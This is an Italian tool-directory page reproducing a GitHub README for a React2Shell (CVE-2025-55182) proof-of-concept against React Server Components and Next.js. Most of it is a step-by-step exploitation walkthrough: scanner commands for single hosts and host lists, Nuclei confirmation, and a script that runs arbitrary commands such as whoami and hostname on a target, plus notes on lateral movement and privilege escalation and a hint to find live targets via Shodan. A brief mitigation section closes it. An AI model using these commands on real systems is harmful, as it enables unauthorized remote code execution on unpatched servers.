Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/eagle-nett/react2shell-poc-cve-2025-55182
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubeagle-nett/react2shell-poc-cve-2025-55182

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
React2Shell-PoC-CVE-2025-55182 — Exploit della vulnerabilità di sicurezza CVE-2025-55182 | Kitploit

React2Shell-PoC-CVE-2025-55182

Exploit della vulnerabilità di sicurezza CVE-2025-55182

Vedi Repository
4 mesi faNon ancora revisionato

Simulazione dell'attacco React2Shell (CVE-2025-55182)

Nota:

  • Questo documento è solo a scopo educativo e di ricerca sulla sicurezza.
  • Non utilizzare per attaccare sistemi senza autorizzazione.

1. Panoramica

CVE-2025-55182, nota anche come React2Shell, è una grave vulnerabilità di Remote Code Execution (RCE) che colpisce i React Server Components (RSC). Utilizza il protocollo Flight per comunicare tra client e server. Quando il client richiede dati, il server riceve un payload, lo analizza, e ciò può permettere a un aggressore di iniettare strutture dannose o porzioni di codice arbitrario che React accetta come validi.

ElementoContenuto
LivelloCritical (CVSS 10.0)
TipoUnsafe Deserialization (CWE-502)
Metodo di attaccoRemoto, nessuna autenticazione richiesta
Versioni interessate:React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 e Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6

2. Causa

Il server elabora il payload proveniente dal client senza una validazione completa, permettendo all'attaccante di:

  • Iniettare payload dannosi
  • Eseguire codice sul server
  • Essere sfruttato senza autenticazione dell'utente poiché si tratta di una vulnerabilità pre-autenticazione.

L'attività di sfruttamento relativa a questa vulnerabilità è stata rilevata a partire dal 5 dicembre 2025. La maggior parte degli attacchi riusciti proviene da valutazioni di gruppi di attacco. Sono interessati sia gli ambienti Windows che Linux.

3. Esperimento

Installazione

root@kitploit:~
pip install -r requirements.txt

Scansiona un server vulnerabile:

root@kitploit:~
python3 scanner.py -u https://example.com

Inserisci il percorso da scansionare (qui ho inserito il mio server vulnerabile http://192.168.10.1:3000)

image

Risultato ottenuto:

image
root@kitploit:~
╰─ python3 scanner.py -u http://192.168.10.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://192.168.10.1:3000 - Status: 303

Inoltre puoi scansionare ulteriormente a seconda del tuo obiettivo di attacco:

Scansiona lista di host:

root@kitploit:~
python3 scanner.py -l hosts.txt

Scansione multi-thread e salvataggio risultati:

root@kitploit:~
python3 scanner.py -l hosts.txt -t 20 -o results.json

Scansione con intestazioni personalizzate:

root@kitploit:~
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Scansione di target Windows:

root@kitploit:~
python3 scanner.py -u https://example.com --windows

Usa metodo di rilevamento sicuro del canale laterale:

root@kitploit:~
python3 scanner.py -u https://example.com --safe-check
image

Come puoi vedere, abbiamo riscontrato una vulnerabilità di sicurezza, il che significa che il server che forniamo è suscettibile agli attacchi da parte di un aggressore.


Nuclei

Ora useremo Nuclei per verificare quale vulnerabilità affligge il server sopra e se ha un PoC. Questa funzione funziona inviando richieste personalizzate, riducendo i falsi positivi e supportando la scansione parallela.

root@kitploit:~
nuclei -t scan.yaml -u http://192.168.10.1:3000

Risultato ottenuto

root@kitploit:~
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
image

Il sistema ha rilevato che questo server è vulnerabile e può essere sfruttato tramite la vulnerabilità CVE-2025-55182. Da ciò puoi vedere che è una vulnerabilità piuttosto pericolosa e importante, con molti PoC disponibili sulle piattaforme social. ☺☺☺

4. Come sfruttare

Puoi vedere che queste informazioni sono sufficienti per confermare l'esistenza della vulnerabilità nell'applicazione precedente. Per dimostrare che questa applicazione può essere sfruttata per eseguire un comando o codice in remoto, inizierò il PoC.

root@kitploit:~
chmod +x scanner.sh

Utilizzo

root@kitploit:~
# Verifica se il target è vulnerabile
./datscan.sh -d example.com

# Esegue un comando per verificare l'utente corrente
./datscan.sh -d example.com -c "whoami"

# Con URL completo
./datscan.sh -d example.com -c "uname -a"
image

Significato:

Restituisce l'utente attuale che esegue il processo del server

Aiuta a determinare:

  • sotto quale utente viene eseguita l'applicazione
  • il livello di privilegio (low privilege o admin)

=> Questo è il comando più semplice per confermare un RCE riuscito

Note

  • -d, --domain - dominio/URL
  • -c, --command - Comando da eseguire (es: whoami, hostname,...)

Esempi

root@kitploit:~
# Verifica il nome host
./datscan.sh -d http://192.168.10.1:3000/ -c hostname  

# Determina la versione del sistema operativo
./datscan.sh -d http://192.168.10.1:3000/ -c ver 

# Verifica che l'esecuzione dei comandi funzioni stabilmente
./datscan.sh -c "echo test"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"

ILLUSTRAZIONE DOPO L'ESECUZIONE

image

Questo è il passo di ricognizione iniziale dopo uno sfruttamento riuscito.

Ci aiuta a confermare: RCE funzionante, identificare il sistema operativo,...

ATTENZIONE

Poiché questo esperimento è dimostrato in un ambiente lab personale per evitare conseguenze legali, l'uso di intestazioni HTTP per esfiltrare dati, output grandi o caratteri speciali può causare:

  • ERR_INVALID_CHAR
  • Risposte troncate
  • Timeout
image

I comandi brevi (ad es. whoami, ver) sono più affidabili per illustrare l'ambiente di test di cui sopra.

Se non ti piace, puoi usare Shodan per controllare gli indirizzi IP direttamente nell'ambiente reale e fare come nel mio esperimento sopra per sfruttare (non consigliato).

image

Come notato sopra. Questo strumento è solo per scopi educativi e test di sicurezza autorizzati. Non utilizzare questo strumento per testare sistemi che non possiedi o per i quali non hai autorizzazione per il test.

5. Alcune soluzioni per mitigare la vulnerabilità

  • Non fidarti dei dati provenienti dal client
  • Convalida rigorosa dell'input
  • Aggiornamento delle versioni
    • React: >= 19.0.1 / 19.1.2 / 19.2.1
    • Next.js: >= 15.0.5 / 16.0.7

6. Riferimenti aggiuntivi

  • CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/
Scarica lo strumento
Significato dei comandi eseguitiContenuto
Restituisce il nome hostUtilizzato per:
- identificare il sistema interessato
- servire per movimento laterale (in ambiente interno)
Determina la versione del sistema operativoImportante per:
- valutare la possibilità di ulteriore sfruttamento (privilege escalation)
- scegliere l'exploit appropriato
Verifica l'esecuzione dei comandiUtilizzato per eseguire il debug del payload/scanner
Restituisce il nome utente correnteIn questo caso:
- l'utente è ADMIN → potrebbe avere privilegi elevati
- Più importante di whoami in alcuni casi Windows
Restituisce il nome hostRestituisce il nome host tramite variabile d'ambiente